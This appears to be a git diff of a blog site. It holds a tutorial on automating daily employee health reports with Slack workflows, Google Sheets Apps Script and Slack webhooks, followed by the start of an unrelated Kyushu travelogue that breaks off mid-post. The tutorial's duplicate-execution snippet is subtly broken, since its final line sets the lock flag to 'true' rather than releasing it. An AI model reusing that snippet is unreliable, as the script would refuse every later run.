As shown in the structure above, click here to view the example.

  • Row: Similar to the use of ID, set it directly to “1”. It will be used later when setting Select & Update to inform the data row.
  • Timestamp: Set the value =NOW() to always display the current time.
  • Value: Used to trigger the update time of the Timestamp field. The content is arbitrary; here, the email of the person filling it in is inserted. As long as it can trigger the update, it is fine.

You can right-click on the Sheet and select “Hide Sheet” to hide this Sheet, as it is not intended for external use.

Go back to Slack Workflow Builder to edit the workflow form you just created.

Click “Add Step” to add a new step:

Scroll down and select “Update a spreadsheet row”:

“Select a spreadsheet” to choose the Sheet you just created, and “Sheet” to select the newly created “Timestamp” Sheet.

“Choose a column to search” and select “Row”. Define a cell value to find and enter “1”.

“Update these columns” and “Column name” select “Value”. Click “Insert variable” -> “Person who submitted” -> select “Email”.

Click “Save” to complete! Now the timestamp update in the Sheet has been triggered. Next, we will read it out for use.

Go back to the editing page and click “Add Step” again to add a new step. This time, select “Select a spreadsheet row” to read the Timestamp.

The search part is the same as “Update a spreadsheet row”. Click “Save”.

After saving, go back to the step list page. You can drag and drop to change the order by moving the mouse over the steps.

Change the order to “Update a spreadsheet row” -> “Select a spreadsheet” -> “Add a spreadsheet row”.

This means: Update to trigger the timestamp update -> Read the Timestamp -> Use it when adding a new Row.

Click “Edit” to edit “Add a spreadsheet row”:

Scroll to the bottom and click “Add Column” in the lower left corner, then click “Insert a variable” in the lower right corner. Find the “Timestamp” variable in the “Select a spreadsheet” section and inject it.

Click “Save” to save the step and return to the list page. Click “Publish Change” in the upper right corner to publish the changes.

Now, test the workflow shortcut again to see if the timestamp is written correctly.

Success!

Adding a submission receipt to the Slack workflow form

Similar to the submission receipt in Google Form, the Slack workflow form can also have one.

On the step editing page, we can add another step by clicking “Add Step”.

This time, choose “Send a message”

Select “Send this message to” and choose “Person who submitted form”

Enter the message content in order, the question title, “Insert a variable” and select “Response to question XXX”. You can also insert “Timestamp” at the end. After saving the steps by clicking “Save”, click “Publish Changes”!

Additionally, you can use “Send a message” to send the filled results to a specific Channel or DM.

Success!

The setup of the Slack workflow form is roughly complete. You can freely combine and play with other features.

Google Sheet with App Script!

Next, we need to write an App Script to handle the filled data.

First, select “Tools” -> “Script editor” from the toolbar at the top of Google Sheet.

You can click the top left corner to give the project a name.

Now we can start writing App Script! App Script is designed based on Javascript, so you can directly use Javascript code with Google Sheet’s library.

Distribute the data of Responses to each date’s Sheet according to the filling date

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+
function formatData() {
+  var bufferSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('Responses') // Name of the Sheet storing responses
+  
+  var rows = bufferSheet.getDataRange().getValues();
+  var fields = [];
+  var startDeleteIndex = -1;
+  var deleteLength = 0;
+  for(index in rows) {
+    if (index == 0) {
+      fields = rows[index];
+      continue;
+    }
+
+    var sheetName = rows[index][0].toLocaleDateString("en-US"); // Convert Date to String, using US date format MM/DD/YYYY
+    var sheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName(sheetName); // Get MM/DD/YYYY Sheet
+    if (sheet == null) { // If not exist, create new
+      sheet = SpreadsheetApp.getActiveSpreadsheet().insertSheet(sheetName, bufferSheet.getIndex());
+      sheet.appendRow(fields);
+    }
+
+    sheet.appendRow(rows[index]); // Add data to date Sheet
+    if (startDeleteIndex == -1) {
+      startDeleteIndex = +index + 1;
+    }
+    deleteLength += 1;
+  }
+
+  if (deleteLength > 0) {
+    bufferSheet.deleteRows(startDeleteIndex, deleteLength); // After moving to the specified Sheet, remove data from Responses
+  }
+}
+

Paste the above code into the Code block and press “control” + “s” to save.

Next, we need to add a trigger button in the Sheet (can only be triggered manually, cannot be automatically triggered when data is written)

  1. First, create a new Sheet and name it “Unfilled List”.
  2. From the top toolbar, select “Insert” -> “Drawing”.

Use this interface to draw a button.

After “Save and Close”, you can adjust and move the button; click the top right “…” and select “Assign script”.

Enter the function name “formatData”.

You can click the added button to test the function.

If “Authorization Required” appears, click “Continue” to complete the verification.

During the authentication process, “Google hasn’t verified this app” will appear. This is normal because the App Script we wrote is not verified by Google, but that’s okay since it’s for personal use.

Click “Advanced” at the bottom left -> “Go to Health Report (Responses) (unsafe)”.

Click “Allow”.

While the App Script is running and shows “Running Script”, please do not press again to avoid repeated execution.

Only after the execution is successful can you run it again.

Success! The data is grouped by date.

Compare the current date’s Sheet with the employee list to generate data for the Unfilled List Sheet

Let’s add a piece of code:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+
// Compare the employee list Sheet & today's filled Sheet to generate the unfilled list
+function generateUnfilledList() {
+  var listSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('Employee List') // Employee list Sheet name
+  var unfilledListSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('Unfilled List') // Unfilled list Sheet name
+  var today = new Date();
+  var todayName = today.toLocaleDateString("en-US");
+
+  var todayListSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName(todayName) // Get today's MM/DD/YYYY Sheet
+  if (todayListSheet == null) {
+    SpreadsheetApp.getUi().alert('Cannot find today\'s Sheet ' + todayName + ' or please run "Organize Filled Data" first');
+    return;
+  }
+
+  var todayEmails = todayListSheet.getDataRange().getValues().map( x => x[1] ) // Get today's Sheet Email Address column data list (1 = Column B)
+  // index start from 0, so 1 = Column B
+  // output: Email Address,zhgchgli@gmail.com,alan@gamil.com,b@gmail.com...
+  todayEmails.shift() // Remove the first data, the first is the column name "Email Address" which is meaningless
+  // output: zhgchgli@gmail.com,alan@gamil.com,b@gmail.com...
+
+  unfilledListSheet.clear() // Clear the unfilled list... prepare to refill data
+  unfilledListSheet.appendRow([todayName + " Unfilled List"]) // The first row shows the Sheet title
+
+  var rows = listSheet.getDataRange().getValues(); // Read the employee list Sheet
+  for(index in rows) {
+    if (index == 0) { // The first row is the header row, save it, so that the subsequent generated data can also add the first row header
+      unfilledListSheet.appendRow(rows[index]);
+      continue;
+    }
+    
+    if (todayEmails.includes(rows[index][3])) { // If today's Sheet Email Address contains this employee's Email, it means it has been filled, continue to skip... (3 = Column D)
+      continue;
+    }
+
+    unfilledListSheet.appendRow(rows[index]); // Write a row of data to the unfilled list Sheet
+  }
+}
+

After saving, follow the previous method to add code, then add a button and assign the script — “generateUnfilledList”.

Once completed, you can click to test:

Unfilled list generated successfully! If no content appears, please ensure:

  • The employee list is filled in, or you can enter test data first.
  • Complete the “Organize Filled Data” action first.

Read the Unfilled List Sheet, compile the message, and send it to the specified Slack Channel

First, we need to add the Incoming WebHooks App to the Slack Channel. We will use this medium to send messages.

  1. Slack bottom left “Apps” -> “Add apps”
  2. Search “incoming” in the search box on the right
  3. Click “Incoming WebHooks” -> “Add”

Select the Channel where you want to send the unfilled message.

Note down the “Webhook URL” at the top.

Scroll down to set the name and avatar of the Bot when sending messages; remember to click “Save Settings” after making changes.

Back to our Google Sheet Script

Add another piece of code:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+
function postSlack() {
+  var ui = SpreadsheetApp.getUi();
+  var result = ui.alert(
+     'Are you sure you want to send the message?',
+     'Send unfilled reminder message to Slack Channel',
+      ui.ButtonSet.YES_NO);
+  // To avoid accidental touches, ask for confirmation first
+
+  if (result == ui.Button.YES) {
+    var unfilledListSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('Unfilled List') // Unfilled List Sheet name
+    var rows = unfilledListSheet.getDataRange().getValues();
+    var persons = [];
+    for(index in rows) {
+      if (index == 0 || index == 1) { // Skip the title and column header rows
+        continue;
+      }
+      
+      var person = (rows[index][4] == "") ? (rows[index][2]) : ("<@"+rows[index][4]+">"); // Mark the target, use slack uid if available, otherwise just display the nickname; 2 = Column B / 4 = Column E
+      if (person == "") { // Consider it as abnormal data if both are empty, ignore
+        continue;
+      }
+      persons.push(""+person+'\n') // Store the target in the array
+    }
+
+    if (persons.length <= 0) { // If no target needs to be notified, everyone has filled in, cancel the message sending
+      return;
+    }
+
+    var preText = "*[Health Report Announcement:loudspeaker:]*\nThe company cares about everyone's health, please remember to fill in the daily health status report, thank you:wink:\n\nToday's unfilled health status report list\n\n" // Message opening content...
+    var postText = "\n\nFilling in the health status report allows the company to understand the health status of teammates, please make sure to fill it in every day>< Thank you everyone:woman-bowing::skin-tone-2:" // Message closing content...
+    var payload = {
+      "text": preText+persons.join('')+postText,
+      "attachments": [{
+          "fallback": "You can put the Google Form filling link here",
+          "actions": [
+            {
+                "name": "form_link",
+                "text": "Go to Health Status Report",
+                "type": "button",
+                "style": "primary",
+                "url": "You can put the Google Form filling link here"
+            }
+          ],
+          "footer": ":rocket:Tip: Click the \":zap:️lightning\" below the input box -> \"Shortcut Name\" to fill in directly."
+        }
+      ]
+    };
+    var res = UrlFetchApp.fetch('Enter your slack incoming app Webhook URL here',{
+      method             : 'post',
+      contentType        : 'application/json',
+      payload            : JSON.stringify(payload)
+    })
+  }
+}
+

After saving, follow the previous method to add code, then add a button and assign the script — “postSlack”.

Once completed, you can click to test:

Success!!! (The display @U123456 did not successfully tag the person because the ID was randomly typed by me)

At this point, the main functions are all completed!

Note

Please note that the official recommendation is to use the new Slack APP API’s chat.postMessage to send messages. The simpler method of Incoming Webhook will be deprecated. I did not use it here for convenience. You can adjust to the new method along with the next chapter “Import Employee List,” which will require the Slack App API.

Import Employee List

Here we need to create a Slack APP.

  1. Go to https://api.slack.com/apps

  2. Click “Create New App” in the upper right corner

  1. Choose “ From scratch

  1. Enter “ App Name “ and the Workspace you want to add

  1. After successful creation, select “OAuth & Permissions” settings page from the left menu

  1. Scroll down to the Scopes section

Add the following items in “Add an OAuth Scope”:

  1. Go back to the top and click “Install to workspace” or “Reinstall to workspace”

*If Scopes are added, you need to come back and reinstall.

  1. After installation, get and copy the Bot User OAuth Token

  2. Use the web version of Slack to open the Channel where you want to import the list

Get the URL from the browser:

1
+
https://app.slack.com/client/TXXXX/CXXXX
+

Where CXXXX is the Channel ID of this Channel, note this information.

10.

Go back to our Google Sheet Script

Add the following code:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+
function loadEmployeeList() {
+  var formData = {
+    'token': 'Bot User OAuth Token',
+    'channel': 'Channel ID',
+    'limit': 500
+  };
+  var options = {
+    'method' : 'post',
+    'payload' : formData
+  };
+  var response = UrlFetchApp.fetch('https://slack.com/api/conversations.members', options);
+  var data = JSON.parse(response.getContentText());
+  for (index in data["members"]) {
+    var uid = data["members"][index];
+    var formData = {
+      'token': 'Bot User OAuth Token',
+      'user': uid
+    };
+    var options = {
+      'method' : 'post',
+      'payload' : formData
+    };
+    var response = UrlFetchApp.fetch('https://slack.com/api/users.info', options);
+    var user = JSON.parse(response.getContentText());
+
+    var email = user["user"]["profile"]["email"];
+    var real_name = user["user"]["profile"]["real_name_normalized"];
+    var title = user["user"]["profile"]["title"];
+    var row = [title, real_name, real_name, email, uid]; // Fill in according to Column
+
+    var listSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('Employee List'); // Employee list Sheet name
+    listSheet.appendRow(row);
+  }
+}
+

But this time we don’t need to add the button again, because the import is only needed the first time; so just save and run directly.

First, press “control” + “s” to save, change the top dropdown menu to “loadEmployeeList”, and click “Run” to start importing the list into the Employee List Sheet.

Manually Add New Employee Data

If new employees join later, you can directly add a row in the Employee List Sheet and fill in the information. The Slack UID can be directly queried on Slack:

Click on the person whose UID you want to view, and click “View full profile”

Click “More” and select “Copy member ID” to get the UID. UXXXXX

DONE!

All the above steps are completed, and you can start automating the tracking of employees’ health status.

The completed file can be copied and modified from the following Google Sheet:

Supplement

  • If you want to use Scheduled date & time to send form messages regularly, note that in this case, the form can only be filled out once, so it is not suitable for use here… (at least in the current version), so Scheduled reminder messages can still only use plain text + Google Form link.

  • Currently, there is no way to link to Shortcut to open the Form
  • Google Sheet App Script to prevent duplicate execution:

If you want to prevent accidental re-execution during execution, you can add at the beginning of the function:

1
+2
+3
+4
+5
+
if (PropertiesService.getScriptProperties().getProperty('FUNCTIONNAME') == 'true') {
+  SpreadsheetApp.getUi().alert('Busy... Please try again later');
+  return;
+}
+PropertiesService.getScriptProperties().setProperty('FUNCTIONNAME', 'true');
+

Add at the end of the function execution:

1
+
PropertiesService.getScriptProperties().setProperty('FUNCTIONNAME', 'true');
+

Replace FUNCTIONNAME with the target function name.

Use a global variable to control execution.

Can be used to connect CI/CD, using GUI to package the original ugly command operations, such as using Slack Bitrise APP, combining Slack Workflow form to trigger Build commands:

After submission, it will send a command to the private channel with the Bitrise APP, EX:

1
+
bitrise workflow:app_store|branch:develop|ENV[version]:4.32.0
+

This will trigger Bitrise to execute the CI/CD Flow.

Further Reading

If you have any questions or feedback, feel free to contact me.

If you have any automation-related optimization needs, you are also welcome to commission me. Thank you.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

ZReviewsBot — Slack App Review Notification Bot

Visitor Pattern in iOS (Swift)

diff --git a/posts/d78e0b15a08a/index.html b/posts/d78e0b15a08a/index.html new file mode 100644 index 0000000000..5bd043a172 --- /dev/null +++ b/posts/d78e0b15a08a/index.html @@ -0,0 +1 @@ + Travelogue 2023 Kyushu 10-Day Solo Trip | ZhgChgLi
Home Travelogue 2023 Kyushu 10-Day Solo Trip
Post
Cancel

Travelogue 2023 Kyushu 10-Day Solo Trip

[Travelogue] 2023 Kyushu 10-Day Solo Trip

Record of a 10-day solo trip to Fukuoka, Nagasaki, and Kumamoto in Kyushu

[2024 Update] Second Visit to Kyushu

Preface

At the end of August, I officially left Pinkoi after nearly 3 years. I had been contemplating leaving for a while, and earlier in the year, I decided to take a break from work, explore outside, and reassess the situation upon my return. So, I embarked on trips with friends to “[Travelogue] 2023 Kansai & 🇯🇵 First Landing” and with colleagues to “[Travelogue] 2023 Tokyo & 🇯🇵 Second Landing.” However, upon returning, I felt a stronger urge to break free, coinciding with the completion of my tasks. I gathered my courage to step out of my comfort zone, seeking the next challenge!

The “[Travelogue] Flash Visit to Nagoya on 9/11” was purely accidental and felt more like a march than a relaxing trip.

Taking advantage of a rare opportunity, I decided to explore Japan once again. The original plan was to travel with a friend who was also on a break to 🇰🇷 Busan ➡️ 🇯🇵 Fukuoka ➡️ 🇯🇵 Kumamoto; traveling from Korea to Kumamoto, with a stop in Fukuoka where we could board the New Camellia cruise ship, arriving in Fukuoka after a 12-hour overnight journey, covering both commuting and accommodation.

However, my friend found a job in September and I couldn’t find a new travel companion at the moment. Not keen on extensive travel alone, I decided to forgo the 🇰🇷 Busan ➡️ 🇯🇵 Fukuoka segment and instead opted for the 🇯🇵 Fukuoka ➡️ 🇯🇵 Kumamoto route.

With a scattered schedule starting in October and plans to begin job hunting, I scheduled my departure at the end of September (9/17–9/26).

Summary / Retro

I’ll start with the summary and reflection. I came across a quote in a travel group that resonated with me: “Traveling is a continuous payment of tuition (time or money) for learning. The more experience you gain, the fewer pitfalls you’ll encounter.”

👍

  • Coca-Cola, peach water, FamilyMart’s fruit juice, and Akia plum wine are delicious!
  • Japanese professional baseball is worth watching! When buying tickets, opt for whole rows or aisle seats, and choose the cheaper options.
  • The JR Pass may not always save money, but it definitely did in Kyushu! Saved at least over 1,000 TWD.
  • Solo travel led to many interesting encounters; for example, helping a Japanese family get souvenirs from Mihara City, a kind foreign sister volunteering to take photos, a Taiwanese family on a boat tour, a TSMC employee completing the Aso journey together, and helping another family take photos in Kumamoto, only to meet them again at the airport and take more photos… and so on.
  • Kumamon, the mascot of Kumamoto, can be found all over Kyushu (not just in Kumamoto).
  • Kyushu (not just Kumamoto) is spacious with few people, allowing for easy access to renowned eateries and attractions without long queues, providing a comfortable experience.
  • Made slight progress in Japanese, understanding numbers (though still double-checking with Google Translate), understanding phrases like “plastic bag needed,” “checkout,” “this,” “above,” “cash,” “credit card,” and imperative sentences for duty-free shopping (“XXX お願いします”).
  • Completed writing the travelogue!

👎

  • Accommodation this time was disappointing: When booking hotels in Japan, it’s essential to check reviews, especially negative ones, to assess whether you can tolerate any issues. Walk around the area on Street View to gauge the convenience.
  • Spent too many days in Kumamoto this time; 2 days would have sufficed, allowing for a visit to Oita on other days. Moreover, Fukuoka is much closer to Kumamoto than Nagasaki: In the past, I would secure accommodation before planning sightseeing, given Kyushu’s vast expanse; it’s better to decide on destinations first and then arrange accommodation to access more attractions.
  • Fukuoka offers much better accommodation options, prices, and quality compared to Kumamoto.
  • Missed the festival in Yufuin this time (I went to Nagasaki that day): In the future, I’ll check for festival dates before planning trips; everyone recommends attending festivals, so it’s a must-do.
  • The JR Pass allows for Shinkansen travel, but not on the “Nozomi” or “Mizuho” trains; additional tickets are required for these services.
  • Solo travel with a language barrier can be quite lonely, often leading to introspection and solitude.
  • Accommodation tends to be pricier for solo travelers.
  • Spent too much time rushing through attractions this time; should slow down, savor the moment, and explore local cuisine leisurely, especially missing out on renowned eateries in Japan.
  • The sun in Kyushu during this season is still scorching, so proper sun protection is necessary.
  • Northern Nagasaki is mediocre (Dutch and Chinatown), while southern Nagasaki stands out more for its night views.

KKday Promotion

  • [Japan JR PASSKyushu Area Railway PassNorth Kyushu & South Kyushu & All KyushuE-Ticket](https://www.kkday.com/en/product/3494-jr-kyushu-rail-pass?cid=19365&ud1=d78e0b15a08a){:target=”_blank”}
  • [Nagasaki, JapanHuis Ten Bosch Ticket](https://www.kkday.com/en/product/3988-japan-nagasaki-huis-ten-bosch-ticket?cid=19365&ud1=d78e0b15a08a){:target=”_blank”}
  • [Nagasaki Day TourGlover Garden, Oura Tenshudo Church & Nagasaki Atomic Bomb Museum, Peace Park & Inasayama Night View (One of the Three Best Night Views in the World/Including Round-Trip Cable Car)Optional Huis Ten Bosch Fireworks PackageDeparting from Fukuoka/Chinese Group](https://www.kkday.com/en/product/152195-nagasaki-tour-saga-yutoku-inari-shrine-fukuoka-japan?cid=19365&ud1=d78e0b15a08a){:target=”_blank”}
  • One-stop shopping for Kyushu attractions, tickets, and experiences: “One Day Kumamoto, One Day Takachiho, One Day Aso/Kusasenri, One Day Miyazaki Itinerary, Fukuoka teamLab, Fukuoka Tower, Yanagawa Dazaifu River Cruise Package, Taipei Fukuoka Flight, Flight Plus Hotel

Preparation

Travel

Initially considered entering Fukuoka and leaving Fukuoka, going back and forth to Kumamoto for one or two days (later proved to be correct XD, not many attractions in Kumamoto, don’t need to stay too long); found that China Airlines had a flight from Fukuoka to Kumamoto for only $1,000, so decided to take this flight.

Because there was plenty of time, I chose the most luxurious option, departing at noon and returning at noon, totaling 10 days including the flight time.

  • Outbound: 9/17 CI 116 16:40 TPE -> 20:00 FUK
  • Return: 9/26 CI 2195 (Newly Launched on 9/26) 12:30 KMJ -> 13:34 TPE

Price: $10,048

Due to the vast area of Kyushu, this time I bought the JR Pass Kyushu Rail Pass (5 days), thinking it would be worth it no matter how much I travel.

Accommodation (9 nights)

When arranging, without much consideration or research, I thought I hadn’t been to Fukuoka or Kumamoto; so I decided to split the stay into 5 days in Fukuoka and 4 days in Kumamoto.

Fukuoka 5 nights - Fukuoka Tenjin Benikea Carlton Hotel (Benikea Calton Hotel Fukuoka Tenjin)

  • Price: $7,583, $1,516/night
  • Transportation: Departing from Hakata Station, you can take the Nanakuma Line subway to Watanabe-dori Station or take a bus and walk 5 minutes to reach.

Kumamoto 4 nights - Green Rich Hotel Suizenji (Green Rich Hotel Suizenji)

JR Kumamoto -> Hotel

JR Kumamoto -> Hotel

Hotel -> Kumamoto Airport

Hotel -> Kumamoto Airport

It’s difficult to find accommodation in Kumamoto (maybe because they are all booked by TSMC for business trips), with limited choices, higher prices compared to Fukuoka, and old facilities; finally found this relatively cheap hotel.

  • Price: $8,157, $2,039/night
  • Transportation: After exiting JR Kumamoto Station, transfer to the Houhi Main Line and then take the tram (get off at the City Sports Center Station). The transportation back to the airport is also very convenient, with direct airport shuttle buses available as soon as you exit.

Once the hotel is booked, you can proceed to fill out the online immigration application.

Joy

Original plan:

  • 9/17 21:00 Arrive in Fukuoka, 22:00 Arrive at the hotel, maybe explore the street food stalls
  • 9/18 Nagasaki (Shinchi Chinatown/Dejima/Nagasaki Peace Park/Oura Cathedral/Gunkanjima Digital Museum/Megane Bridge) - won’t visit all + Atomic Bomb Museum + Peace Park + Inasayama Mountain Top Observatory for night view
  • 9/19 Yanagawa, Dazaifu day trip + LaLaport Fukuoka (optional)
  • 9/20 Moji Port, Kokura Castle day trip + street food stalls
  • 9/21 Shopping in Hakata (Fukuoka Tower, shrines, Canal City, Tenjin Underground Shopping Street…)
  • 9/22 Shopping in Hakata + Travel to Kumamoto + Suizenji Jojuen Garden
  • 9/23 Kumamoto City, Kumamoto Castle, Meeting with Kumamon
  • 9/24 Aso Volcano day trip
  • 9/25 Shimabara Castle, Shimabara Three Shiba Inu (quite far, considering)
  • 9/26 10:00 Kumamoto Airport, 12:30 Departure

Go!

Flight Tracker, iPhone Suica usage, Visit Japan pre-entry application… mentioned in previous articles, won’t elaborate on them in this post.

This trip was also very impulsive, bought the plane tickets and booked the accommodation on 9/10, planned the itinerary on 9/15, and departed on 9/17!

Day 1 Departure

The flight at 16:40 in the afternoon, plenty of time to wake up slowly and head out leisurely.

Arrived at Taipei Main Station A1 Airport MRT, opted for advance check-in as usual, completed the check-in and baggage drop at the station, and walked out of the airport upon arrival, no need to queue at the counter with people (For advance check-in information, please refer to the official website).

This time also used Airtag to track the luggage, no worries about lost luggage, and very convenient while waiting for the baggage carousel.

Around 13:00 arrived at the airport, wandered around after exiting.

Had an expensive and mediocre chicken dish, checked the luggage location casually; the luggage also made it to the airport with me.

After eating, it was only around 14:30, bought a Japanese book on a whim.

Encountered another plane taking the wrong runway, the entire airport had to reset; the plane took a big circle before taking off, delayed for about 30 minutes; the TV on the old plane was very small.

China Airlines collaborates with Wutong No. 5 to create the cutest desserts in the air, featuring Dinotaeng, the adorable short-tailed kangaroo, and the osmanthus oolong tea is quite delicious.

Due to a flight delay, I only left the airport around 9:00 PM.

After leaving the airport, you can see a sign indicating the direction to go and where to wait for the bus stop; besides going to Hakata, you can also go to other places, refer to this article or the official website; if you are going to a distant place, make sure to check the schedule.

Originally planned to take the direct bus to Hakata Station, but it seemed like the last bus was still an hour away (I forgot), so I changed to take bus 1 to Fukuoka Airport Domestic Line (Fukuoka Airport Subway Station), then took the subway to Hakata and transferred to the Nanakuma Line at Watanabe-dori Station.

Hello Fukuoka!

The hotel to check in is on the left side of the second photo.

Benikea Calton Hotel Fukuoka Tenjin 2023/09

Hotel room tour, overall a bit old, dim lighting, average soundproofing, and the air conditioning makes a slight noise, but still clean and tidy; however, I kind of regret not spending a little more to stay at the APA chain hotel nearby.

Originally planned to visit the food stalls on the first night, but due to fatigue, I just grabbed something from the convenience store and rested early to prepare for the next day’s itinerary.

Day 2 Nagasaki

View of Fukuoka city from outside the bed in the early morning.

Hakata Station

Taking the subway to Hakata is a bit roundabout, it’s faster to walk directly to Watanabe-dori and take a bus to Hakata.

Upon arrival in Hakata, go to the manned counter to exchange for the JR Pass (present your passport) and reserve a seat for the trip to Nagasaki. There are many foreigners exchanging for the JR Pass, so I waited for almost an hour before my turn. It is recommended to leave early or go to exchange in advance.

I bought a 5-day pass, which starts counting from the day of exchange. Use the pass with the date and amount for entering and exiting the station; the reserved seat ticket is just to know where your seat is and cannot be used to enter and exit the station. Keep the pass safe as you will need it for the next five days; if lost, it cannot be replaced!

There are two segments from Hakata to Nagasaki, first to Takeo Onsen and then change trains to Nagasaki from Takeo Onsen; changing trains on the same platform, they have the train times well calculated, so basically, after arriving, just walk to the opposite side to board the train.

When waiting for the train, I found that the trains in Kyushu are very distinctive!!

The seats are large and comfortable, and you can enjoy the scenery by the window.

Travel time: about 1 hour 50 minutes

Side note: Completed a citizen diplomacy mission ✅

When I was on the train, there was a family sitting next to me. The parents took their two children out to play, and one of the children suddenly vomited halfway through the journey. The father didn’t have tissues at hand, so he used a newspaper to wipe it. I handed him some tissues and wet wipes.

When it was time to get off the train, the father gave me a souvenir from Miyauchi City (shrimp rice crackers).

Nagasaki Station

After exiting Nagasaki Station, the weather was great! I was worried it might rain today.

After leaving the station, head towards the Nagasaki streetcar direction.

Nagasaki (South)

First, head south to Nagasaki Shinchi Chinatown.

It may be a unique spot for foreigners, but for Chinese people, it’s okay. They sell Nagasaki specialties like scratch bags, Changdian udon, Qiangbang noodles, xiaolongbao… But I wasn’t very hungry at the time, so I just passed by.

On the way to Glover Garden, I also passed by the Confucius Temple XD

Passing through the Dutch Slope (just a slope), then taking the escalator up to Glover Garden Entrance 2, the whole terrain is a large hill facing the sea.

Enter Glover Garden and admire the architecture style and interior decorations; it’s very similar to Fort San Domingo in Tamsui (because both were built by the Dutch).

Don’t forget to exchange for a free photo, where you can also overlook the cruise ships at Nagasaki Port.

On the way down the mountain, you will pass by the Oura Catholic Church, I didn’t go in, just took a photo and left.

Bought some scratch bags from Nagasaki to try, but I still think Taiwan’s taste better!

On the way back north to the Nagasaki Atomic Bomb Museum, stop by Meganebashi Bridge to take photos. The reflection in the water from the front view is really beautiful, worth a shot if you have time.

Nagasaki (North)

Visiting the Atomic Bomb Museum is more about immersion and reflection. The museum has designed many scenes (from the time of the explosion or immersive experiences), installation art, historical data, interviews; allowing visitors to immerse themselves in the historical atmosphere and reflect on the cruelty and horror of future wars.

After leaving the Atomic Bomb Explosion Point, you will arrive at Peace Park.

Colorful paper cranes are hung along the road (including the Atomic Bomb Museum) as a symbol of praying for peace.

Mount Inasa Night View

After leaving Peace Park, take a break at Dejima before heading to see Mount Inasa Night View, one of the world’s three major night views.

To get to Mount Inasa, walk a short distance from Dejima to the bus stop for the Inasa Ropeway (Fuchi Shrine Station). Then stroll to the station and wait for the cable car.

Unfortunately, the bus was delayed, and there was no electronic sign at the small station. After waiting for more than 5 minutes and thinking the bus might not be running that day, I quickly checked other nearby bus stops that go to Fuchi Shrine. I walked another 10 minutes to another bus stop to catch a different bus.

Funny thing is, halfway there, I saw the delayed bus coming… but it was too late Orz

Across from where I got off the bus is Fuchi Shrine. I walked up and passed through a kindergarten to reach the Nagasaki Ropeway (Fuchi Shrine Station). Since I didn’t plan to stay too late, I bought a round-trip ticket directly (cheaper, but if you stay too late, there might not be a cable car available, and you’ll have to take the bus back).

After getting off the cable car, there is another cable car for mountain viewing, but I didn’t try it. So, I walked straight towards the observation deck.

I forgot to take a photo of the observation deck, which is a 360-degree tower where you can see the entire Nagasaki city, harbor, and mountains without needing a ticket. You can start by watching the sunset from the west as the sun sets over the harbor and continue to enjoy the night view of the city from the east.

The observation deck is spacious and can accommodate many people.

After sunset, you can enjoy the beautiful night view of the entire Nagasaki city and the station.

Finally, take a last look at the night view of Nagasaki Station, buy a Nagasaki cake souvenir (later found out they are also sold in Hakata, with a shelf life of about 12 days, so it’s better to buy them later…), and get ready to return to Hakata.

_If you don’t want to visit all these places on your own, you can refer to KKday’s [**Nagasaki Day TourGlover Garden · Oura Cathedral & Nagasaki Atomic Bomb Museum · Peace Park & Mount Inasa Night View (One of the World’s Three Major Night Views/Including Round-trip Cable Car)Optional Huis Ten Bosch Fireworks PlanDeparting from Fukuoka/Chinese Tour**](https://www.kkday.com/zh-tw/product/152195-nagasaki-tour-saga-yutoku-inari-shrine-fukuoka-japan?cid=19365&ud1=d78e0b15a08a){:target=”blank”}

Encountered another delay, this time due to a JR (signal failure); arrived at Hakata almost an hour late (already tired), the driver was driving fast and it felt shaky.

Bought a late-night snack and returned to the hotel to rest.

Day 2 Yufuin and Dazaifu Day Trip + LalaPort Fukuoka

In the morning, first visit the Fukuoka (Tenjin) Tourist Information Center to buy a one-day pass (Fukuoka Tenjin, Hakata, or online ticket purchase available), you can calculate if it’s cheaper.

KKday Kyushu Ticket Dazaifu Yufuin Tour Package (Taoyuan Airport Pickup)

[Nishitetsu - A day trip to the ancient city of Dazaifu and the water town of Yufuin.](http://www.ensen24.jp/kippu/en/dazaifu-yanagawa/){:target="_blank"}

Nishitetsu - A day trip to the ancient city of Dazaifu and the water town of Yufuin.

Additionally, you will receive two coupon books, the Dazaifu book has a voucher for a free plum branch cake.

The order is not fixed, but the boat tour has a time limit, it ends after 2 pm; so just follow the itinerary, Fukuoka -> Yanagawa -> Dazaifu -> Fukuoka.

After buying the tickets, go to the manned window, show the ticket to the station staff, and you can board the train directly (no need to reserve seats) to Yanagawa.

Travel time: about 1 hour 10 minutes

Yanagawa Boat Tour

After exiting the station, you will see staff wearing white vests (if there is no service center nearby, you can ask), they will provide you with a map + return route + timetable and guide you to take the shuttle bus to the boarding point.

When exiting the station, go to the manned ticket gate, the staff will tear off the ticket from Fukuoka to Yanagawa station.

Originally thought of walking the distance, but upon exiting, saw staff guiding with care, so fortunately took the bus.

Arrived at the boarding point and waited for the next boat, coincidentally met a Taiwanese family traveling in front, joined them on the spot, chatted along the way (after all, I was traveling alone and don’t speak Japanese, hardly talked to anyone in Kyushu).

The water is very clean, this season’s lush green is not as beautiful, but relatively fewer people.

The boatman will introduce the passing sights along the way, and sing songs (most Taiwanese would have heard, many old songs).

When crossing the bridge, the boatman will ask everyone to bow their heads to avoid hitting, quite interesting; there is not much shade on the way, a bit sunny.

